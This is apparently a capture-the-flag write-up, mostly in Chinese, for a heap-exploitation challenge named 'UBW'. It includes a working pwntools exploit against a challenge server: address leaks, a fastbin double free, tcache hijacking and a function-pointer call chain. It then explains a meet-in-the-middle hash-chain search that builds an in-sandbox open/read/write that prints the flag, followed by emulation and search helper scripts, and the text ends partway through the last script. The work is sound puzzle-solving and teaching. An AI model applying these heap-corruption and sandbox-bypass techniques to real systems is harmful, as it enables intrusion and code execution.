1d0e80 shl r14, 8; lea r14, [r14]
24e730 sub r14, 0x111; mov [r15], r14
261D30 xor r14d, 0x55
283070 or r14, 0x2e; xor r14, r12
2bf040 shl r14, 8; add r14, 0
2fe330 shl r14, 8
309cc0 shl r14, 8
359b90 mov r14b, 0x67
39c3d0 or r14b, 0x61
3a0300 add r14b, 0x6c
3ca1b0 or r14b, 0x2e
r15:
144260 lea r15, [rsp+8]; 应该是用于写入flag的。
结合这样的语义+寄存器值推导和函数筛选进行约束建模最后爆破求解即可得到符合条件的函数call链条。
func_chain = [0x24e730,0xd0b30,0xdf8b0,0x1bc930,0x24e730,0x151440,0x16e190,0xdf8b0,0x309cc0,0x24e730,0x160750,0x267140,0x1d1470,0x1d1a70,0x267140,0x2ce030,0x1ad030,0x359b90,0x160750,0x39c3d0,0x160750,0x3a0300,0x160750,0x1bc930,0x144260,0x24e730,0x1d6650,0x241ee0,0x265aa0,0x241ee0,0x241ee0,0x241ee0,0x189530,0x258900,0xc9670,0x155ba0,0x261d30,0xdddf0,0x151440,0x2211e0,0x3a6fa0,0x288010,0x189530,0x2ea2b0,0xc9670,0x33dfe0,0x3b0c70,0x2fe330,0x39c3d0,0x35cac0,0x391f80,0x1d1470,0x28f220,0x361460,0x11fa00,0x31a020,0x199d30,0xc9670]
EXP
#!/usr/bin/env python3
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'info'
REMOTE = '--remote' in sys.argv
DEBUG = '--debug'in sys.argv
BIN = './UBW'
BIN2 = './UBW2'
LD = './ld-linux-x86-64.so.2'
libc = ELF('./libc.so.6')
def start():
if REMOTE:
return remote('1.95.8.104', 5000)
elif DEBUG:
return gdb.debug(BIN2, 'b *$rebase(0x3CC760)')
else:
return process(BIN)
def menu(p):
p.recvuntil(b'UBW>')
def trigger(p, idx, size, content=b'a'):
p.sendline(b'1')
p.recvuntil(b'sigil:')
p.sendline(str(idx).encode())
p.recvuntil(b'ore:')
p.sendline(str(size).encode())
p.recvuntil('de: ')
pointer = int(p.recvline(), 16)
p.recvuntil(b'chant:')
p.sendline(content)
def trace(p, idx, size, content=b'a'):
p.sendline(b'1')
p.recvuntil(b'sigil:')
p.sendline(str(idx).encode())
p.recvuntil(b'ore:')
p.sendline(str(size).encode())
p.recvuntil('de: ')
pointer = int(p.recvline(), 16)
p.recvuntil(b'chant:')
p.sendline(content)
data = p.recvuntil(b'UBW>')
return pointer
def discard(p, idx):
p.sendline(b'2')
p.recvuntil(b'sigil:')
p.sendline(str(idx).encode())
p.recvuntil(b'UBW>')
def reveal(p, idx):
p.sendline(b'3')
p.recvuntil(b'sigil:')
p.sendline(str(idx).encode())
data = p.recvuntil(b'UBW>')
# content is between 'sigil: <idx>\n' and the next menu
return data
def temper(p, dst, src):
p.sendline(b'4')
p.recvuntil(b'dst:')
p.sendline(str(dst).encode())
p.recvuntil(b'src:')
p.sendline(str(src).encode())
data = p.recvuntil(b'UBW>', timeout=3)
return data
p = start()
menu(p)
# 泄露pie
data = reveal(p, 26)
ebase = u64(data[1:7]+b'\x00'*2) - 0x3cc740
blade = ebase + 0x417140
log.info("elf base: "+hex(ebase))
# 泄露heap地址,同时提前进行堆布局
hbase = trace(p, 0x0, 0x110) - 0x2a0
key = hbase >> 12
log.info("heap base: "+hex(hbase))
# 填满0x110(实际0x120)大小的tcache
for i in range(1, 0x8):
trace(p, i, 0x110)
for i in range(1, 0x8):
discard(p, i)
# 释放到unsortedbin
discard(p, 0)
# 通过切割得到一个与0x20实际大小unsortedbin相邻的0xF0(实际0x100)大小堆块。
trace(p, 0x0, 0xF0, b'a'*0xF0)
# 填满0xF0(实际0x100)大小tcache
for i in range(1, 0x8):
trace(p, i, 0xF0)
for i in range(1, 0x8):
discard(p, i)
trace(p, 0x9, 0x110)# 空出一个0x110(实际0x120)大小的tcache
data = temper(p, 0, 0)# 释放0xF0(实际0x100)大小堆块并与实际0x10大小unsortedbin合并(因为tcache满了),同时再次释放该堆块并入tcachebin
main_arena = u64(data[0xFB:0x101]+b'\x00'*2)
libc.address = main_arena - 0x203b20
stdout = libc.address + 0x2045c0
wfile_jumps = libc.address + 0x202228
log.info("libc base: "+hex(libc.address))
trace(p, 0, 0x110, p64(main_arena)+p64(main_arena))# 恢复unsortedbin
trace(p, 1, 0x70) # 切开unsortedbin成0x70(实际0x80大小),这里blade[0]和blade[1]都是指向这个堆块,同时size被改变到fastbin合适大小。
# 分配满7个tcache
for i in range(2, 0x9):
trace(p, i, 0x70)
for i in range(2, 0x9):
discard(p, i)
# 释放进fastbin,这个时候bk位置不是key所以可以二次释放
discard(p, 0)
# 从满tcache表拿出一个
trace(p, 0, 0x70)
# double free进去再拿回来从而进行fastbin的劫持
discard(p, 1)
trace(p, 1, 0x70, p64((hbase+0x1a70)^key))
# 清空tcache
for i in range(0x2, 0x8):
trace(p, i, 0x70)
# 因为fastbin在链入tcache的时候会进行key解密加对齐检查,这个很难绕过,所以要让他指向一个合法可控段即fake chunk
# 这里布置三个相连堆块
trace(p, 0xa, 0x300)
trace(p, 0xb, 0x300)
trace(p, 0xc, 0x300)
discard(p, 0xc)
discard(p, 0xb)
discard(p, 0xa)
# chunk a末尾位置存放fake chunk,fd为key这样解密后就是0,对齐绕过同时不会继续递归。
trace(p, 0xa, 0x300, b'a'*0x2E0+p64(0)+p64(0x331)+p64(key+1))
# 申请掉fastbin
trace(p, 0x9, 0x70)
# 得到fake chunk控制权,可以越界修改下一个0x300(实际0x310)的tcachebin,从而劫持实现tcachebin attack
trace(p, 0x9, 0x70, b'a'*0x10+p64(0)+p64(0x311)+p64((hbase+0x10)^(key+1)))
# 构造call链条
rdi_ret = ebase + 0x000000000009054a
rsi_ret = ebase + 0x00000000000c05ea
rdx_ret = ebase + 0x00000000000bd32a
rax_ret = ebase + 0x00000000000bd58f
xchg_rsp_rax = ebase + 0x00000000003679a1
malloc = ebase + 0x3CE570
syscall = ebase + 0x00000000000c83ef
func_chain = [0x24e730,0xd0b30,0xdf8b0,0x1bc930,0x24e730,0x151440,0x16e190,0xdf8b0,0x309cc0,0x24e730,0x160750,0x267140,0x1d1470,0x1d1a70,0x267140,0x2ce030,0x1ad030,0x359b90,0x160750,0x39c3d0,0x160750,0x3a0300,0x160750,0x1bc930,0x144260,0x24e730,0x1d6650,0x241ee0,0x265aa0,0x241ee0,0x241ee0,0x241ee0,0x189530,0x258900,0xc9670,0x155ba0,0x261d30,0xdddf0,0x151440,0x2211e0,0x3a6fa0,0x288010,0x189530,0x2ea2b0,0xc9670,0x33dfe0,0x3b0c70,0x2fe330,0x39c3d0,0x35cac0,0x391f80,0x1d1470,0x28f220,0x361460,0x11fa00,0x31a020,0x199d30,0xc9670]
func_call_chain1 = b''
func_call_chain2 = b''
func_call_chain3 = b''
for i in range(1, len(func_chain)):
func = func_chain[i]
if i < 0x280 // 0x20:
func_call_chain1 += p64(ebase+0x3CC760)+p64(0)+p64(ebase+0x417270+i*0x20)+p64(ebase+func)
elif i == 0x280 // 0x20:
func_call_chain1 += p64(ebase+0x3CC760)+p64(0)+p64(hbase+0x1000)+p64(ebase+func)
elif i < (0x380+0x280)//0x20:
func_call_chain2 += p64(ebase+0x3CC760)+p64(0)+p64(hbase+0x1000+0x20*(i-(0x280//0x20)))+p64(ebase+func)
elif i == (0x380+0x280)//0x20:
func_call_chain2 += p64(ebase+0x3CC760)+p64(0)+p64(hbase+0x2000)+p64(ebase+func)
else:
func_call_chain3 += p64(ebase+0x3CC760)+p64(0)+p64(hbase+0x2000+0x20*(i-((0x380+0x280)//0x20)))+p64(ebase+func)
trace(p, 0xa, 0x300)
# 劫持tcache table
trace(p, 0xb, 0x300, p16(1)+p16(0)*(0x3F-0x3)+p16(1)*3+p64(hbase+0x1aa0)+p64(0)*(0x3F-0x3)+p64(ebase+0x417240)+p64(hbase+0x1000)+p64(hbase+0x2000))
trace(p, 0xc, 0x400, func_call_chain3)
trace(p, 0xc, 0x3F0, func_call_chain2)
trigger(p, 0xd, 0x3E0, p64(ebase+0x3CC730)+p64(ebase+0x417250)+p64(ebase+0x3CC760)+p64(ebase+0x3CC780)+p64(ebase+0x417270)+p64(ebase+func_chain[0])+func_call_chain1)
p.interactive()
约束建模与求解思路
先把约束理清楚。初步 r10 筛选之后,12000 个沙盒函数里只剩下 55 个不改 r10 的普通函数 + 1 个含 syscall 的函数(0xc9670),而且这 55 个函数的 table_hash 只有 34 种取值(很多函数 hash 相同)。也就是说:
- 唯一带
syscall指令的沙盒函数就是0xc9670,它在第 0x23/0x2d/0x3a 轮被复用三次。它本身不动 rax/rdi/rsi/rdx,所以三次 syscall 是 open 还是 read 还是 write,完全由前面轮次留下的寄存器决定。 - 父进程在 syscall 处只校验 count 和 hash,并不校验 syscall 号和参数。所以寄存器布置是「自由」的,真正的硬约束只有那条 rolling hash 链。
但 hash 链恰恰是最难的。直接爆破是 55^0x22 级别,不可能;而且 64 位 hash 在这种规模下有约 2^133 个碰撞,光靠 hash 也没法唯一确定链条。我试过直接上 z3 解递推(calib.py),结果是深度 4 能秒解,深度 6 就超时——乘法 + 旋转的混合让 SMT 在 5 步以上彻底失效。所以只能换成中间相遇(MITM),并把寄存器布置和 hash 求解分开处理。
hash 递推是可逆的(MUL 为奇数):
step(h, s) = rol(h ^ s, 17) * 0x9e3779b185ebca87 + 0x94d049bb133111eb
reverse(h, s) = ror((h - 0x94d049bb133111eb) * INV_MUL, 17) ^ s ; INV_MUL = 0x887493432badb37
设 syscall 函数 hash 为 Hs = 0xf76f2edaf3c1f2fb,三个检查点拆成三段独立的「桥」:
INIT ─(34 个函数)─▶ T0 = reverse(E0, Hs) = 0x572168e0483a4aad ; 第 1 次 syscall(open)
E0 ─( 9 个函数)─▶ T1 = reverse(E1, Hs) = 0x7c615338a9c9d9e0 ; 第 2 次 syscall(read)
E1 ─(12 个函数)─▶ T2 = reverse(E2, Hs) = 0xce48816f2f824941 ; 第 3 次 syscall(write)
为了先确认递推/字母表/常量都没搞错,我用 Python 穷举 MITM(前 4 步正向打表 + 后 5 步反向查表,mitm.py)去解那条 9 步的桥 E0→T1,34 秒命中,链条里恰好出现了 0x151440(rsi = r15+rdi*8+8,正是 read 的 buf)。模型验证通过。
Stage 0(open):解耦成「后缀 + filler」
因为参数不被校验、寄存器又能用绝对赋值覆盖,stage 0 可以解耦:
- 寄存器/字符串设置后缀:从任意脏状态出发,绝对地把
rax=2, rsi=0, rdx=0, rdi→"flag\0"布置好; - 纯 hash filler:前面若干个函数只负责把 hash 从
INIT凑到h_pre(h_pre = T0经后缀的 hash 反推得到),寄存器结果会被后缀全部覆盖,所以不用管。
后缀用 unicorn 把真实函数字节一条条串起来执行验证(chain_exec.py)。利用了几个关键函数:0x144260 设 r15 为栈上 scratch 并 r14+=0x111,唯一的存储函数 0x24e730 会 r14-=0x111 再 mov [r15],r14(两者 ±0x111 正好抵消,于是能原样写入构造好的 “flag” 串),0x24e730 还顺手把 rbx 设成 90,正好用 0x1d6650(^0x5a) 清零再 +2 凑出 rax=2。最后 0x258900 收尾:rax=2 时 rdi=r15、rsi=0、rdx=0。这套后缀随机初始态跑 200/200 全过。
filler 这一段的 hash 桥太深,z3 解不了,于是写了个 C 的 birthday MITM(mitm.c):正向采样打表(2^27 条,约 4G 内存)+ 16 线程反向流式碰撞,3 分 47 秒命中。最终 stage 0 的 35 步链既通过父进程 hash 检查(hash@35 == E0),unicorn 实跑也是 open("flag",0),验证 50/50。
Stage 1 / Stage 2:桥唯一 + 寄存器耦合
两个固定 hash 之间深度 d 的桥,期望解数 ≈ 34^d / 2^64:深度 9 和深度 12 都远小于 1,所以作者构造的那条桥基本就是唯一解。我用穷举 MITM 分别确认:E0→T1 恰好 1 条,E1→T2(C 写的 mitm12.c,正向 5 / 反向 7 穷举)也恰好 1 条。也就是说这两段的 hash 序列被强制锁死,只剩「同 hash 函数任选其一」这点自由度用来凑寄存器。
凑 write 参数时暴露出跨轮次的寄存器耦合:
- stage 2 这条桥里只有头两个位置能动
rdi,要让write的rdi=1(stdout),就必须 **进入 stage 2 时r13=1**; - 而 stage 1 为了让
read的rax=0,末尾被迫用0x2ea2b0(rax=edi-3,需edi=3),进而被迫用0x189530(r13^=0x35),于是r13_out = r13_in ^ 0x35,要得到r13=1就得 **进入 stage 1 时r13=0x34**; - buf 还要对齐:read 的 buf 是
r15+8,write 的 buf 是r15+rbx(0x35cac0),所以还得 **rbx=8**,而 stage 1 全程不碰 rbx。
结论:stage 0 的后缀除了 open 参数,还得顺带留下 r13=0x34 和 rbx=8。r13=0x34 很便宜——直接 (r13=1)^0x35 一条 0x189530 就到位;rbx 在凑完 rax=2(此时 rbx=2)后再 +2 三次到 8。整合后的后缀 21 条(suffix2.py),随机态跑 100/100,留下 r13=0x34, rbx=8。21 条后缀 → filler 只剩 34-21=13,正好卡在「hash 桥存在的下限」(34^13 ≈ 2^66,约 4 条解)。
新的 13 步 filler 桥目标变成 h_pre13 = 0x19f9f2a784ee385e,用 mitm13b.c(正向 5 穷举打表 + 反向 8 随机采样、命中即停)跑了约 83 分钟拿到。stage 2 的 write 函数选择则用纠正后的进入态(r13=1, rbx=8)重新搜索同 hash 组合(stage2_write.py),得到 write(1, read_buf, 256),且 rsi 与 read 的 buf 完全一致。read 这边再把 stage 1 首位换成同 hash 的 0x155ba0(hash 不变,不影响任何检查点),让 r12 变负 → read 长度变成 0xffffffc0,直接读到 EOF。
最终链条
最终拼出 58 步调用链:filler(13) + 后缀(21) + [0xc9670] | stage1(9) + [0xc9670] | stage2(12) + [0xc9670]。一遍校验同时过两关——三个检查点 hash 全中(E0/E1/E2 @ count 35/45/58),且用真实初始寄存器实跑得到 open("flag",0) → read(3, buf, 0xffffffc0) → write(1, buf, 256)(读写同一块 buf,所以读进来的 flag 原样打出)。
Stage 0 (1-34, syscall@35 = open):
filler[13]: 24e730 d0b30 df8b0 1bc930 24e730 151440 16e190 df8b0 309cc0 24e730 160750 267140 1d1470
suffix[21]: 1d1a70 267140 2ce030 1ad030 359b90 160750 39c3d0 160750 3a0300 160750 1bc930
144260 24e730 1d6650 241ee0 265aa0 241ee0 241ee0 241ee0 189530 258900
35: c9670 (open)
Stage 1 (36-44, syscall@45 = read):
155ba0 261d30 dddf0 151440 2211e0 3a6fa0 288010 189530 2ea2b0
45: c9670 (read)
Stage 2 (46-57, syscall@58 = write):
33dfe0 3b0c70 2fe330 39c3d0 35cac0 391f80 1d1470 28f220 361460 11fa00 31a020 199d30
58: c9670 (write)
把这 58 个节点(每个节点 {[0]=sub_3CC760, [0x10]=next, [0x18]=callback},运行时加上 ELF 基址)通过前面的 bss 函数指针劫持塞进子进程,再触发 sub_3CC760 遍历,即可在沙盒内完成 orw 读出 flag。
求解脚本
运行顺序:alphabet.py(产出 usable_stubs.txt / alphabet.h)→ stub_ir.py → chain_exec.py / suffix2.py → mitm.c(stage0 filler)→ stage12.py / stage2_write.py → mitm12.c / mitm13b.c → final_chain.py。三个 .c 都 #include "alphabet.h"(由 alphabet.py 生成);大多数 .py 依赖下面两个基础模块。
emulate_table_funcs.py — unicorn 映射 ELF、模拟单个沙盒函数、初步筛 r10
#!/usr/bin/env python3
import argparse
import os
import struct
import sys
try:
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_HOOK_MEM_INVALID
from unicorn.x86_const import *
except ImportError:
print("missing dependency: pip install unicorn", file=sys.stderr)
raise
PAGE = 0x1000
PT_LOAD = 1
SHT_RELA = 4
R_X86_64_RELATIVE = 8
TABLE_ADDR = 0x3CF788
TABLE_COUNT_ADDR = 0x415C88
TRAMP_CALL = 0x3CC76D
TRAMP_AFTER_CALL = 0x3CC770
INITIAL_REGS = {
"rax": 0x1B,
"rbx": 0x558295F02240,
"rcx": 0x7F9B4BDCB5A4,
"rdx": 0x0,
"rsi": 0x7F9B4BEB3643,
"rdi": 0x0,
"rbp": 0x7FFD0C2B5660,
"rsp": 0x7FFD0C2B5608,
"r8": 0x1A,
"r9": 0x0,
"r10": 0x558295F02250,
"r11": 0x558295BA7370,
"r12": 0x7F9B4BEB36B0,
"r13": 0x558295F02240,
"r14": 0x558295F02240,
"r15": 0x7F9B4BCABA80,
"rip": 0x558295EB776D,
"eflags": 0x202,
}
REGS = [
("rax", UC_X86_REG_RAX),
("rbx", UC_X86_REG_RBX),
("rcx", UC_X86_REG_RCX),
("rdx", UC_X86_REG_RDX),
("rsi", UC_X86_REG_RSI),
("rdi", UC_X86_REG_RDI),
("rbp", UC_X86_REG_RBP),
("rsp", UC_X86_REG_RSP),
("r8", UC_X86_REG_R8),
("r9", UC_X86_REG_R9),
("r10", UC_X86_REG_R10),
("r11", UC_X86_REG_R11),
("r12", UC_X86_REG_R12),
("r13", UC_X86_REG_R13),
("r14", UC_X86_REG_R14),
("r15", UC_X86_REG_R15),
("rip", UC_X86_REG_RIP),
("eflags", UC_X86_REG_EFLAGS),
]
def align_down(x):
return x & ~(PAGE - 1)
def align_up(x):
return (x + PAGE - 1) & ~(PAGE - 1)
def u16(b, off):
return struct.unpack_from("<H", b, off)[0]
def u32(b, off):
return struct.unpack_from("<I", b, off)[0]
def u64(b, off):
return struct.unpack_from("<Q", b, off)[0]
class ElfImage:
def __init__(self, path, base):
self.path = path
self.base = base
with open(path, "rb") as f:
self.blob = f.read()
if self.blob[:4] != b"\x7fELF" or self.blob[4] != 2:
raise ValueError("expected ELF64")
self.phoff = u64(self.blob, 0x20)
self.shoff = u64(self.blob, 0x28)
self.phentsize = u16(self.blob, 0x36)
self.phnum = u16(self.blob, 0x38)
self.shentsize = u16(self.blob, 0x3A)
self.shnum = u16(self.blob, 0x3C)
self.load_segments = self._load_segments()
self.rela_sections = self._rela_sections()
def _load_segments(self):
segs = []
for i in range(self.phnum):
off = self.phoff + i * self.phentsize
p_type = u32(self.blob, off)
if p_type != PT_LOAD:
continue
p_flags = u32(self.blob, off + 4)
p_offset = u64(self.blob, off + 8)
p_vaddr = u64(self.blob, off + 16)
p_filesz = u64(self.blob, off + 32)
p_memsz = u64(self.blob, off + 40)
segs.append((p_vaddr, p_offset, p_filesz, p_memsz, p_flags))
return segs
def _rela_sections(self):
relas = []
for i in range(self.shnum):
off = self.shoff + i * self.shentsize
sh_type = u32(self.blob, off + 4)
if sh_type != SHT_RELA:
continue
sh_offset = u64(self.blob, off + 24)
sh_size = u64(self.blob, off + 32)
sh_entsize = u64(self.blob, off + 56)
if sh_entsize == 0:
continue
relas.append((sh_offset, sh_size, sh_entsize))
return relas
def file_bytes_at_va(self, va, size):
for vaddr, off, filesz, memsz, _flags in self.load_segments:
if vaddr <= va and va + size <= vaddr + filesz:
foff = off + (va - vaddr)
return self.blob[foff:foff + size]
raise ValueError(f"VA 0x{va:x} not backed by file bytes")
def raw_u64(self, va):
return struct.unpack("<Q", self.file_bytes_at_va(va, 8))[0]
def map_into(self, uc):
mapped = []
for vaddr, off, filesz, memsz, flags in self.load_segments:
start = align_down(self.base + vaddr)
end = align_up(self.base + vaddr + memsz)
size = end - start
if not any(s == start and n == size for s, n in mapped):
uc.mem_map(start, size)
mapped.append((start, size))
data_addr = self.base + vaddr
data = self.blob[off:off + filesz]
if data:
uc.mem_write(data_addr, data)
self.apply_relative_relocs(uc)
def apply_relative_relocs(self, uc):
for sh_offset, sh_size, entsize in self.rela_sections:
for off in range(sh_offset, sh_offset + sh_size, entsize):
r_offset = u64(self.blob, off)
r_info = u64(self.blob, off + 8)
r_addend = u64(self.blob, off + 16)
r_type = r_info & 0xFFFFFFFF
if r_type == R_X86_64_RELATIVE:
uc.mem_write(self.base + r_offset, struct.pack("<Q", self.base + r_addend))
def table_entries(self):
count = self.raw_u64(TABLE_COUNT_ADDR)
entries = []
# Values in the file are relocated at runtime. For this script the IDA
# offsets are enough; reconstruct start/end from relative relocation addends.
relocs = {}
for sh_offset, sh_size, entsize in self.rela_sections:
for off in range(sh_offset, sh_offset + sh_size, entsize):
r_offset = u64(self.blob, off)
r_info = u64(self.blob, off + 8)
r_addend = u64(self.blob, off + 16)
if (r_info & 0xFFFFFFFF) == R_X86_64_RELATIVE:
relocs[r_offset] = r_addend
for i in range(count):
va = TABLE_ADDR + i * 0x18
start = relocs.get(va)
end = relocs.get(va + 8)
if start is None or end is None:
continue
h = self.raw_u64(va + 0x10)
entries.append((i, start, end, h))
return entries
def map_scratch(uc, addr, size=0x4000):
start = align_down(addr - size // 2)
end = align_up(addr + size // 2)
try:
uc.mem_map(start, end - start)
except Exception:
pass
def invalid_hook(_uc, access, addr, size, value, user_data):
user_data["fault"] = (access, addr, size, value)
return False
def emulate_one(img, entry, max_insn):
uc = Uc(UC_ARCH_X86, UC_MODE_64)
img.map_into(uc)
base = img.base
ret_addr = base + TRAMP_AFTER_CALL
regs = dict(INITIAL_REGS)
regs["rsp"] -= 8
regs["rip"] = base + entry
regs["r11"] = base + entry
# Map stack and common scratch areas pointed to by initial registers. The
# binary mappings already cover base+0x417xxx, but these cover high stack/libc
# looking pointers if a candidate function performs a benign read/write there.
map_scratch(uc, INITIAL_REGS["rsp"], 0x20000)
for name in ("rbp", "rsi", "rcx", "r12", "r15"):
map_scratch(uc, INITIAL_REGS[name], 0x4000)
for name, regid in REGS:
if name in regs and name != "rip":
uc.reg_write(regid, regs[name])
uc.reg_write(UC_X86_REG_RIP, regs["rip"])
uc.mem_write(regs["rsp"], struct.pack("<Q", ret_addr))
state = {}
uc.hook_add(UC_HOOK_MEM_INVALID, invalid_hook, state)
status = "OK"
err = ""
try:
uc.emu_start(regs["rip"], ret_addr, count=max_insn)
if uc.reg_read(UC_X86_REG_RIP) != ret_addr:
status = "TIMEOUT"
except Exception as e:
status = "FAULT"
err = str(e).replace(" ", "_")
out = {name: uc.reg_read(regid) for name, regid in REGS}
if "fault" in state:
access, addr, size, value = state["fault"]
err = f"mem_access={access}:addr=0x{addr:x}:size={size}:value=0x{value:x}"
return status, err, out
def parse_reg_list(values):
if not values:
return None
valid = {name for name, _ in REGS}
out = []
for value in values:
for item in value.split(","):
name = item.strip().lower()
if not name:
continue
if name not in valid:
raise argparse.ArgumentTypeError(f"unknown register: {name}")
if name not in out:
out.append(name)
return out
def parse_hex_list(values):
if not values:
return None
out = []
for value in values:
for item in value.split(","):
item = item.strip().lower()
if not item:
continue
num = int(item, 16) if item.startswith("0x") else int(item, 16)
if num not in out:
out.append(num)
return out
def fmt_regs(regs, only=None):
names = only if only else [name for name, _ in REGS]
return " ".join(f"{name}=0x{regs[name]:x}" for name in names if name in regs)
def main():
ap = argparse.ArgumentParser(description="Emulate every UBW ptrace table function with Unicorn.")
ap.add_argument("--elf", default="UBW")
ap.add_argument("--base", type=lambda s: int(s, 16), default=INITIAL_REGS["rip"] - TRAMP_CALL)
ap.add_argument("--limit", type=int, default=0, help="only emulate first N entries")
ap.add_argument("--start-index", type=lambda s: int(s, 0), default=0)
ap.add_argument(
"--start",
action="append",
metavar="OFF[,OFF...]",
help="only emulate selected table start offset(s), e.g. --start 0xbbe30,0xbbf30 --start 0xbc060",
)
ap.add_argument(
"--only-reg",
action="append",
metavar="REG[,REG...]",
help="print selected register(s); repeat or comma-separate, e.g. --only-reg r10,r11 --only-reg rax",
)
ap.add_argument("--max-insn", type=int, default=2000)
args = ap.parse_args()
if not os.path.exists(args.elf):
print(f"ELF not found: {args.elf}", file=sys.stderr)
return 1
img = ElfImage(args.elf, args.base)
entries = img.table_entries()
only_regs = parse_reg_list(args.only_reg)
selected_starts = parse_hex_list(args.start)
if selected_starts is not None:
by_start = {start: (idx, start, end, h) for idx, start, end, h in entries}
missing = [start for start in selected_starts if start not in by_start]
if missing:
print(
"missing table start(s): " + ", ".join(f"0x{x:x}" for x in missing),
file=sys.stderr,
)
entries = [by_start[start] for start in selected_starts if start in by_start]
else:
if args.limit:
entries = entries[args.start_index:args.start_index + args.limit]
else:
entries = entries[args.start_index:]
print(f"# base=0x{args.base:x} entries={len(entries)}")
for idx, start, end, h in entries:
status, err, regs = emulate_one(img, start, args.max_insn)
fields = [
f"idx=0x{idx:x}",
f"start=0x{start:x}",
f"end=0x{end:x}",
f"hash=0x{h:016x}",
f"status={status}",
]
if err:
fields.append(f"err={err}")
fields.append(fmt_regs(regs, only_regs))
print(" ".join(fields))
if __name__ == "__main__":
raise SystemExit(main())
hash_chain_search.py — hash 递推 step/reverse 公式与三个检查点常量
#!/usr/bin/env python3
import argparse
import heapq
import sys
from parse_ptrace import load_allowed_table
MASK = (1 << 64) - 1
INIT_HASH = 0x6A09E667F3BCC909
MUL = 0x9E3779B185EBCA87
ADD = 0x94D049BB133111EB
INV_MUL = pow(MUL, -1, 1 << 64)
EXPECTED_COUNTS = [0x23, 0x2D, 0x3A]
EXPECTED_HASHES = [
0xF9F1A5978EBD3C2F,
0x04F76AC9D963D2AF,
0x9E270453ED50AF94,
]
def rol(x, n):
n &= 63
return ((x << n) | (x >> (64 - n))) & MASK
def ror(x, n):
n &= 63
return ((x >> n) | (x << (64 - n))) & MASK
def step_hash(prev, stub_hash):
x = (prev ^ stub_hash) & MASK
x = rol(x, 17)
x = (x * MUL + ADD) & MASK
return x
def reverse_step(cur, stub_hash):
x = ((cur - ADD) & MASK) * INV_MUL & MASK
x = ror(x, 17)
return (x ^ stub_hash) & MASK
def hamming(a, b):
return (a ^ b).bit_count()
def load_entries(elf):
_count, entries = load_allowed_table(elf)
return [
{"idx": idx, "start": start, "end": end, "hash": h}
for idx, start, end, h in entries
]
def parse_hex_list(s):
if not s:
return []
out = []
for item in s.split(","):
item = item.strip()
if item:
out.append(int(item, 16) if item.startswith("0x") else int(item, 16))
return out
def select_entries(entries, starts):
if not starts:
return entries
by_start = {e["start"]: e for e in entries}
missing = [x for x in starts if x not in by_start]
if missing:
print("missing start(s): " + ", ".join(f"0x{x:x}" for x in missing), file=sys.stderr)
return [by_start[x] for x in starts if x in by_start]
def print_chain(chain):
for depth, e in enumerate(chain, 1):
print(f" {depth:02d}: idx=0x{e['idx']:x} start=0x{e['start']:x} hash=0x{e['hash']:016x}")
def cmd_reverse_one(entries, target):
for e in entries:
prev = reverse_step(target, e["hash"])
print(
f"idx=0x{e['idx']:x} start=0x{e['start']:x} "
f"stub_hash=0x{e['hash']:016x} prev=0x{prev:016x} "
f"hd_init={hamming(prev, INIT_HASH)}"
)
def cmd_check(entries, starts, target=None):
by_start = {e["start"]: e for e in entries}
h = INIT_HASH
chain = []
for start in starts:
e = by_start.get(start)
if e is None:
raise SystemExit(f"start not in table: 0x{start:x}")
h = step_hash(h, e["hash"])
chain.append(e)
print(
f"n={len(chain):02d} idx=0x{e['idx']:x} start=0x{start:x} "
f"stub_hash=0x{e['hash']:016x} hash=0x{h:016x}"
)
if target is not None:
print(f"target=0x{target:016x} match={h == target}")
def cmd_beam(entries, target, depth, beam, want):
# Reverse from target. This is not complete unless beam >= 12000**depth.
# It is a practical probe: keep states whose reversed hash is closest to INIT_HASH.
states = [(hamming(target, INIT_HASH), target, [])]
for level in range(1, depth + 1):
nxt = []
for _score, cur, chain in states:
for e in entries:
prev = reverse_step(cur, e["hash"])
new_chain = chain + [e]
score = hamming(prev, want)
if len(nxt) < beam:
heapq.heappush(nxt, (-score, prev, new_chain))
else:
if score < -nxt[0][0]:
heapq.heapreplace(nxt, (-score, prev, new_chain))
states = sorted([(-s, h, c) for s, h, c in nxt], key=lambda x: x[0])
best_score, best_hash, _best_chain = states[0]
print(f"[level {level:02d}] kept={len(states)} best_prev=0x{best_hash:016x} hd_init={best_score}")
exact = [st for st in states if st[1] == want]
if exact:
print(f"[hit] found exact predecessor after reverse depth {level}")
# Reverse chain is target->...->init order; print forward order.
print_chain(list(reversed(exact[0][2])))
return
print("[done] no exact hit in retained beam states")
score, h, chain = states[0]
print(f"[best] prev=0x{h:016x} hd_init={score}")
print_chain(list(reversed(chain)))
def main():
ap = argparse.ArgumentParser(description="Reverse/verify UBW ptrace rolling hash chains.")
ap.add_argument("--elf", default="UBW")
ap.add_argument("--stage", type=int, default=0, choices=[0, 1, 2])
ap.add_argument("--target", type=lambda s: int(s, 16), help="override target hash")
ap.add_argument("--entries", help="comma-separated table starts to use as candidates")
ap.add_argument("--reverse-one", action="store_true", help="print all one-step predecessors of target")
ap.add_argument("--check-chain", help="comma-separated forward chain starts to verify from INIT_HASH")
ap.add_argument("--beam-depth", type=int, default=0, help="reverse search depth")
ap.add_argument("--beam", type=int, default=2000, help="states retained per reverse level")
args = ap.parse_args()
target = args.target if args.target is not None else EXPECTED_HASHES[args.stage]
entries = select_entries(load_entries(args.elf), parse_hex_list(args.entries))
print(
f"# entries={len(entries)} init=0x{INIT_HASH:016x} "
f"target=0x{target:016x} stage={args.stage} expected_count={EXPECTED_COUNTS[args.stage]}"
)
if args.check_chain:
cmd_check(load_entries(args.elf), parse_hex_list(args.check_chain), target)
return
if args.reverse_one:
cmd_reverse_one(entries, target)
return
if args.beam_depth:
cmd_beam(entries, target, args.beam_depth, args.beam, INIT_HASH)
return
print("choose one mode: --reverse-one, --check-chain, or --beam-depth N")
print("note: exact depth-34 search over 12000 entries is exponential without more pruning")
if __name__ == "__main__":
main()
alphabet.py — 静态筛 r10,得到 55+1 个可用函数 / 34 种 hash,生成 usable_stubs.txt、alphabet.h
#!/usr/bin/env python3
"""Statically classify all 12000 table stubs to find the true usable alphabet.
A stub is usable as a chain element if the parent accepts it:
- starts with endbr64 (f3 0f 1e fa)
- control reaches a `ret` (straight-line; we stop at first ret)
- never WRITES r10 (the jmp [r10] invariant)
- (syscall stubs are usable too, but only at syscall positions)
We also flag whether it contains a syscall and which cared regs it writes.
"""
import re
from collections import Counter
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from emulate_table_funcs import ElfImage
def main():
img = ElfImage("UBW", 0)
